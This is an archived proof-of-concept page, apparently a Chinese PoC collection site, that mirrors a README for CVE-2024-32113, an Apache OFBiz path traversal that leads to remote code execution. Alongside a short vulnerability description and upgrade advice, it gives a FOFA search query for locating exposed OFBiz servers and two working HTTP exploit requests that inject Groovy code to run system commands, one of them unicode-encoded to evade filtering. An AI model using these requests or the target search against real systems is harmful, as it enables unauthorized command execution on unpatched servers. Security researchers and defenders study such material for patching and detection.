POC详情： 8b1181a7ac7ebfcb0a35718ef3b36b90e8959441

来源
https://github.com/Mr-xn/CVE-2024-32113
关联漏洞
标题： Apache OFBiz 路径遍历漏洞 (CVE-2024-32113)
描述：Apache OFBiz是美国阿帕奇（Apache）基金会的一套企业资源计划（ERP）系统。该系统提供了一整套基于Java的Web应用程序组件和工具。 Apache OFBiz 18.12.13之前版本存在路径遍历漏洞，该漏洞源于受限目录路径名不正确限制。
描述
Apache OFBIZ Path traversal leading to RCE POC
介绍
# CVE-2024-32113

> Apache  OFBIZ Path traversal leading to RCE EXP.

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz.This issue affects Apache OFBiz: before **18.12.14[not include]**. Users are recommended to upgrade to version **18.12.14**, which fixes the issue.

# fofa query

> app="Apache_OFBiz"

# POC

```http
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443

groovyProgram=throw+new+Exception('id'.execute().text);
```

> excute `id` with unicode.
> 
```http
POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b
```

![SCR-20240603-uowf](https://github.com/Mr-xn/CVE-2024-32113/assets/18260135/150d3c39-3ff0-4866-add0-5a2734e002e3)

# refercence
- https://issues.apache.org/jira/browse/OFBIZ-13006
- https://xz.aliyun.com/t/14733
文件快照

 [4.0K]  /data/pocs/8b1181a7ac7ebfcb0a35718ef3b36b90e8959441
├── [1.1K]  LICENSE
└── [1.2K]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。